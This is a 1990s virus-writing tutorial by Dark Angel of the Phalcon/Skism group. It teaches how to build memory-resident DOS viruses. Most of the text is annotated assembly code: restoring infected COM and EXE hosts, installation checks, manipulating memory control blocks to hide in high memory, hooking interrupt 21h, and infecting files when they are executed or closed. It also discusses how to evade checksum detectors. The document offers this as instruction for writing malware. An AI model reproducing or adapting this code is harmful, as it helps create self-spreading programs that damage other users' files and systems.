                 //==//  //  //  /||      //      //====  //==//  //|   //
                //  //  //  //  //||     //      //      //  //  //||  //
               //==//  //==//  //=||    //      //      //  //  // || //
              //      //  //  //  ||   //      //      //  //  //  ||//
             //      //  //  //   ||  //====  //====  //==//  //   ||/

                /====   // //     //  /====   /|   /|
               //      // //     //  //      //|  //|
               ===\   // //     //   ===\   //|| //||
                 //  //  \\    //      //  // ||// ||
             ====/  //    \\  //   ====/  //  ||/  ||

             =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
             DISCLAIMER: Why do I bother writing one??
             =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
             MO STUFF: Greets to all the Phalcon/Skism
               crew,especially Garbageheap,Hellraiser,
              Demogorgon,Lazarus Long,and Decimator.
             =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

      Dark Angel's Chewy Virus Writing Guide
      ---- ------- ------- ----- -------
        "Over 2 billion served"

      =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
      INSTALLMENT V: RESIDENT VIRUSES, PART II
      =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

      After reading  the the  Clumpy Guide, you should have at least some idea of
      how to  code a  resident virus.  However, the somewhat vague descriptions I
      gave may  have left  you in a befuddled state.  Hopefully, this installment
      will clear the air.

      =-=-=-=-=
      STRUCTURE
      =-=-=-=-=
      In case  you missed  it the last time, here is a quick, general overview of
      the structure  of the  resident virus.   The  virus consists  of two  major
      portions, the  loading stub  and the  interrupt handlers.  The loading stub
      performs two  functions.  First, it redirects interrupts to the virus code.
      Second, it causes the virus to go resident.  The interrupt handlers contain
      the code  which  cause  file  infection.    Generally,  the  handlers  trap
      interrupt 21h and intercept such calls as file execution.

      =-=-=-=-=-=-
      LOADING STUB
      =-=-=-=-=-=-
      The loading  stub consists of two major portions, the residency routine and
      the restoration  routine.   The latter portion, which handles the return of
      control to  the original  file, is  identical as the one in the nonresident
      virus.  I will briefly touch upon it here.

      By now  you  should  understand  thoroughly  the  theory  behind  COM  file
      infection.   By simply  replacing the  first few  bytes,  transfer  can  be
      controlled to  the virus.   The  trick in  restoring COM files is simply to
      restore the  overwritten  bytes  at  the  beginning  of  the  file.    This
      restoration takes place only in memory and is therefore far from permanent.
      Since COM files always load in a single memory segment and begin loading at
      offset 100h  in the  memory  segment  (to  make  room  for  the  PSP),  the
      restoration procedure  is very  simple.   For example,  if the  first three
      bytes of  a COM  file were  stored in a buffer called "first3" before being
      overwritten by the virus, then the following code would restore the code in
      memory:

        mov  di,100h          ; Absolute location of destination
        lea  si,[bp+first3]   ; Load address of saved bytes.
                              ; Assume bp = "delta offset"
        movsw                 ; Assume CS = DS = ES and a cleared direction flag
        movsb                 ; Move three bytes

      The problem of returning control to the program still remains.  This simply
      consists of  forcing the  program to  transfer control to offset 100h.  The
      easiest routine follows:

        mov  di,100h
        jmp  di

      There are  numerous variations of this routine, but they all accomplish the
      basic task of setting the ip to 100h.

      You should  also understand  the concept  behind EXE infection by now.  EXE
      infection, at  its most  basic level, consists of changing certain bytes in
      the EXE  header.   The trick  is simply  to undo  all the changes which the
      virus made.  The code follows:

        mov     ax, es                          ; ES = segment of PSP
        add     ax, 10h                         ; Loading starts after PSP
        add     word ptr cs:[bp+OrigCSIP+2], ax ; Header segment value was
                                                ; relative to end of PSP
        cli
        add     ax, word ptr cs:[bp+OrigSSSP+2] ; Adjust the stack as well
        mov     ss, ax
        mov     sp, word ptr cs:[bp+OrigSSSP]
        sti
        db      0eah                            ; JMP FAR PTR SEG:OFF
      OrigCSIP  dd ?                            ; Put values from the header
      OrigSSSP  dd ?                            ; into here

      If the  virus is  an EXE-specific  infector but you still wish to use a COM
      file as  the carrier file, then simply set the OrigCSIP value to FFF0:0000.
      This will  be changed  by the  restoration routine  to PSP:0000  which  is,
      conveniently, an int 20h instruction.

      All that  stuff should  not be  new.   Now we shall tread on new territory.
      There are  two methods  of residency.  The first is the weenie method which
      simply consists of using DOS interrupts to do the job for you.  This method
      sucks because  it is  1) easily  trappable by  even the  most primitive  of
      resident virus  monitors and  2) forces the program to terminate execution,
      thereby alerting  the user  to the  presence of the virus.  I will not even
      present code  for the  weenie method  because, as  the name suggests, it is
      only for  weenies.   Real programmers  write their  own residency routines.
      This basically consists of MCB-manipulation.  The general method is:

      1.   Check for prior installation.  If already installed, exit the virus.
      2.   Find the top of memory.
      3.   Allocate the high memory.
      4.   Copy the virus to high memory.
      5.   Swap the interrupt vectors.

      There are  several variations  on this technique and they will be discussed
      as the need arises.

      =-=-=-=-=-=-=-=-=-
      INSTALLATION CHECK
      =-=-=-=-=-=-=-=-=-
      There are  several different  types of installation check.  The most common
      is a  call to int 21h with AX set to a certain value.  If certain registers
      are returned  set to  certain values,  then the  virus is  resident.    For
      example, a sample residency check would be:

        mov  ax,9999h  ; residency check
        int  21h
        cmp  bx,9999h  ; returns bx=9999h if installed
        jz   already_installed

      When choosing  a value  for ax in the installation check, make sure it does
      not conflict  with an  existing function  unless the  function is harmless.
      For example,  do not  use display  string (ah=9)  unless you  wish to  have
      unpredictable results  when the virus is first being installed.  An example
      of a harmless function is get DOS version (ah=30h) or flush keyboard buffer
      (ah=0bh).   Of course, if the check conflicts with a current function, make
      sure it  is narrow  enough so no programs will have a problem with it.  For
      example, do  not merely trap ah=30h, but trap ax=3030h or even ax=3030h and
      bx=3030h.

      Another  method  of  checking  for  residency  is  to  search  for  certain
      characteristics of  the virus.   For  example, if  the virus always sets an
      unused interrupt  vector to  point to  its code, a possible residency check
      would be to search the vector for the virus characteristics.  For example:

        xor  ax,ax
        mov  ds,ax     ; ds->interrupt table
        les  bx,ds:[60h*4] ; get address of interrupt 60h
                       ; assume the virus traps this and puts its int 21h handler
                       ; here
        cmp  es:bx,0FF2Eh ; search for the virus string
         .
         .
         .
      int60:
        jmp far ptr cs:origint21

      When using this method, take care to ensure that there is no possibility of
      this characteristic  being false when the virus is resident.  In this case,
      another program must not trap the int 60h vector or else the check may fail
      even if  the virus  is  already  resident,  thereby  causing  unpredictable
      results.

      =-=-=-=-=-=-=-=-=-=-=-
      FIND THE TOP OF MEMORY
      =-=-=-=-=-=-=-=-=-=-=-
      DOS generally  loads all available memory to a program upon loading.  Armed
      with this  knowledge, the  virus can  easily determine the available memory
      size.  Once again, the MCB structure is:

      Offset    Size Meaning
      ------ ------- -------
      0         BYTE 'M' or 'Z'
      1         WORD Process ID (PSP of block's owner)
      3         WORD Size in paragraphs
      5      3 BYTES Reserved (Unused)
      8      8 BYTES DOS 4+ uses this.  Yay.

        mov  ax,ds     ; Assume DS initially equals the segment of the PSP
        dec  ax
        mov  ds,ax     ; DS = MCB of infected program
        mov  bx,ds:[3] ; Get MCB size (total available paragraphs to program)

      A simpler  method of  performing the same action is to use DOS's reallocate
      memory function in the following manner:

        mov  ah,4ah    ; Alter memory allocation (assume ES = PSP)
        mov  bx,0FFFFh ; Request a ridiculous amount of memory
        int  21h       ; Returns maximum available memory in BX
                       ; This is the same value as in ds:[3]

      =-=-=-=-=-=-=-=-=-=-=-=-
      ALLOCATE THE HIGH MEMORY
      =-=-=-=-=-=-=-=-=-=-=-=-
      The easiest method to allocate memory is to let DOS do the work for you.

        mov  ah,4ah    ; Alter memory allocation (assume ES = PSP)
        sub  bx,(endvirus-startvirus+15)/16+1 ; Assume BX originally held total
                       ; memory available to the program (returned by earlier
                       ; call to int 21h/function 4ah
        int  21h

        mov  ah,48h    ; Allocate memory
        mov  bx,(endvirus-startvirus+15)/16
        int  21h
        mov  es,ax     ; es now holds the high memory segment

        dec  bx
        mov  byte ptr ds:[0], 'Z' ; probably not needed
        mov  word ptr ds:[1], 8   ; Mark DOS as owner of MCB

      The purpose  of marking  DOS as  the owner  of the  MCB is  to prevent  the
      deallocation of the memory area upon termination of the carrier program.

      Of course, some may prefer direct manipulation of the MCBs.  This is easily
      accomplished.   If ds is equal to the segment of the carrier program's MCB,
      then the following code will do the trick:

        ; Step 1) Shrink the carrier program's memory allocation
        ; One paragraph is added for the MCB of the memory area which the virus
        ; will inhabit
        sub  ds:[3],(endvirus-startvirus+15)/16 + 1

        ; Step 2) Mark the carrier program's MCB as the last in the chain
        ; This isn't really necessary, but it assures that the virus will not
        ; corrupt the memory chains
        mov  byte ptr ds:[0],'Z'

        ; Step 3) Alter the program's top of memory field in the PSP
        ; This preserves compatibility with COMMAND.COM and any other program
        ; which uses the field to determine the top of memory
        sub  word ptr ds:[12h],(endvirus-startvirus+15)/16 + 1

        ; Step 4) Calculate the first usable segment
        mov  bx,ds:[3] ; Get MCB size
        stc            ; Add one for the MCB segment
        adc  bx,ax     ; Assume AX still equals the MCB of the carrier file
                       ; BX now holds first usable segment.  Build the MCB
                       ; there
        ; Alternatively, you can use the value in ds:[12h] as the first usable
        ; segment:
        ; mov  bx,ds:[12h]

        ; Step 5) Build the MCB
        mov  ds,bx     ; ds holds the area to build the MCB
        inc  bx        ; es now holds the segment of the memory area controlled
        mov  es,bx     ; by the MCB
        mov  byte ptr ds:[0],'Z' ; Mark the MCB as the last in the chain
                       ; Note: you can have more than one MCB chain
        mov  word ptr ds:[1],8   ; Mark DOS as the owner
        mov  word ptr ds:[3],(endvirus-startvirus+15)/16 ; FIll in size field

      There is yet another method involving direct manipulation.

        ; Step 1) Shrink the carrier program's memory allocation
        ; Note that rounding is to the nearest 1024 bytes and there is no
        ; addition for an MCB
        sub  ds:[3],((endvirus-startvirus+1023)/1024)*64

        ; Step 2) Mark the carrier program's MCB as the last in the chain
        mov  byte ptr ds:[1],'Z'

        ; Step 3) Alter the program's top of memory field in the PSP
        sub  word ptr ds:[12h],((endvirus-startvirus+1023)/1024)*64

        ; Step 4) Calculate the first usable segment
        mov  es,word ptr ds:[12h]

        ; Step 5) Shrink the total memory as held in BIOS
        ; Memory location 0:413h holds the total system memory in K
        xor  ax,ax
        mov  ds,ax
        sub  ds:[413h],(endvirus-startvirus+1023)/1024 ; shrink memory size

      This method  is great  because it  is simple and short.  No MCB needs to be
      created because  DOS will no longer allocate memory held by the virus.  The
      modification of the field in the BIOS memory area guarantees this.

      =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
      COPY THE VIRUS TO HIGH MEMORY
      =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
      This is  ridiculously easy  to do.  If ES holds the high memory segment, DS
      holds CS, and BP holds the delta offset, then the following code will do:

        lea  si,[bp+offset startvirus]
        xor  di,di     ; destination @ 0
        mov  cx,(endvirus-startvirus)/2
        rep  movsw     ; Copy away, use words for speed

      =-=-=-=-=-=-=-=-=-=-=-
      SWAP INTERRUPT VECTORS
      =-=-=-=-=-=-=-=-=-=-=-
      There are,  once again,  two ways  to do this; via DOS or directly.  Almost
      every programmer  worth his  salt has  played with interrupt vectors at one
      time or another.  Via DOS:

        push es        ; es->high memory
        pop  ds        ; ds->high memory
        mov  ax,3521h  ; get old int 21h handler
        int  21h       ; to es:bx
        mov  word ptr ds:oldint21,bx  ; save it
        mov  word ptr ds:oldint21+2,es
        mov  dx,offset int21 ; ds:dx->new int 21h handler in virus
        mov  ax,2521h  ; set handler
        int  21h

      And direct manipulation:
        xor  ax,ax
        mov  ds,ax
        lds  bx,ds:[21h*4]
        mov  word ptr es:oldint21,bx
        mov  word ptr es:oldint21+2,ds
        mov  ds,ax
        mov  ds:[21h*4],offset int21
        mov  ds:[21h*4+2],es

      Delta offset  calculations  are  not  needed  since  the  location  of  the
      variables is  known.   This is because the virus is always loaded into high
      memory starting in offset 0.

      =-=-=-=-=-=-=-=-=
      INTERRUPT HANDLER
      =-=-=-=-=-=-=-=-=
      The interrupt  handler intercepts  function calls  to DOS and waylays them.
      The interrupt  handler typically  begins with  a check  for a  call to  the
      installation check.  For example:

      int21:
        cmp  ax,9999h  ; installation check?
        jnz  not_installation_check
        xchg ax,bx     ; return bx = 9999h if installed
        iret           ; exit interrupt handler
      not_installation_check:
      ; rest of interrupt handler goes here

      With this  out of  the way,  the virus  can trap whichever DOS functions it
      wishes.    Generally  the  most  effective  function  to  trap  is  execute
      (ax=4b00h), as  the most commonly executed files will be infected.  Another
      function to  trap, albeit  requiring more work, is handle close.  This will
      infect  on   copies,  viewings,  patchings,  etc.    With  some  functions,
      prechaining is  desired; others,  postchaining.   Use common sense.  If the
      function destroys  the filename  pointer, then  use prechaining.    If  the
      function   needs   to  be   completed  before  infection  can  take  place,
      postchaining should be used.  Prechaining is simple:

        pushf           ; simulate an int 21h call
        call dword ptr cs:oldint21

      ; The following code ensures that the flags will be properly set upon
      ; return to the caller
        pushf
        push bp
        push ax

      ; flags         [bp+10]
      ; calling CS:IP [bp+6]
      ; flags new     [bp+4]
      ; bp            [bp+2]
      ; ax            [bp]

        mov  bp, sp     ; setup stack frame
        mov  ax, [bp+4] ; get new flags
        mov  [bp+10], ax; replace the old with the new

        pop  ax         ; restore stack
        pop  bp
        popf

      To exit  the interrupt  handler after  prechaining, use  an iret  statement
      rather than a retn or retf.  Postchaining is even simpler:

        jmp  dword ptr cs:oldint21 ; this never returns to the virus int handler

      When leaving  the interrupt  handler, make  sure  that  the  stack  is  not
      unbalanced and  that the  registers were  not altered.   Save the registers
      right after prechaining and long before postchaining.

      Infection in  a resident  virus is  essentially  the  same  as  that  in  a
      nonresident virus.   The  only difference occurs when the interrupt handler
      traps one  of the functions used in the infection routine.  For example, if
      handle close is trapped, then the infection routine must replace the handle
      close int 21h call with a call to the original interrupt 21h handler, a la:

        pushf
        call dword ptr cs:oldint21

      It is also necessary to handle encryption in another manner with a resident
      virus.  In the nonresident virus, it was not necessary to preserve the code
      at all  times.   However, it  is desirable to keep the interrupt handler(s)
      decrypted, even  when infecting.   Therefore,  the virus  should  keep  two
      copies of  itself in  memory, one  as code  and one as data.  The encryptor
      should encrypt  the secondary  copy  of  the  virus,  thereby  leaving  the
      interrupt handler(s)  alone.   This is  especially important  if the  virus
      traps other interrupts such as int 9h or int 13h.

      =-=-=-=-=-=-=-=-=-=-=-=-=-=-
      A THEORY ON RESIDENT VIRUSES
      =-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Resident viruses  can typically  be divided  into two  categories; slow and
      fast infectors.  They each have their own advantages and disadvantages.

      Slow infectors  do not  infect except in the case of a file creation.  This
      infector traps file creates and infects upon the closing of the file.  This
      type of  virus infects  on new  file creations  and copying  of files.  The
      disadvantage is  that the  virus spreads slowly.  This disadvantage is also
      an advantage,  as this  may keep  it undetected  for a long time.  Although
      slow infectors sound ineffective, in reality they can work well.  Infection
      on file  creations means that checksum/CRC virus detectors won't be able to
      checksum/CRC the  file until  after it  has been  infected.   Additionally,
      files are  often copied  from one  directory to  another after testing.  So
      this method can work.

      Fast infectors  infect on  executes.   This type  of virus will immediately
      attack commonly  used files,  ensuring the continual residency of the virus
      in subsequent  boots.   This is  the primary  advantage, but it is also the
      primary disadvantage.   The  infector works  so rapidly  that the  user may
      quickly detect  a discrepancy with the system, especially if the virus does
      not utilise any stealth techniques.

      Of course,  there is  no  "better"  way.    It  is  a  matter  of  personal
      preference.   The vast  majority  of  viruses  today  are  fast  infectors,
      although slow infectors are beginning to appear with greater frequency.

      If the  virus is  to infect  on a  create or  open, it  first must copy the
      filename to  a buffer,  execute the  call, and  save the handle.  The virus
      must then  wait for  a handle close corresponding to that handle and infect
      using the  filename stored  in the  buffer.  This is the simplest method of
      infecting after a handle close without delving into DOS internals.

      =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
      IF YOU DON'T UNDERSTAND IT YET
      =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
      don't despair;  it will  come after  some time and much practise.  You will
      soon find  that resident  viruses  are  easier  to  code  than  nonresident
      viruses.   That's all  for this  installment, but  be sure to grab the next
      one.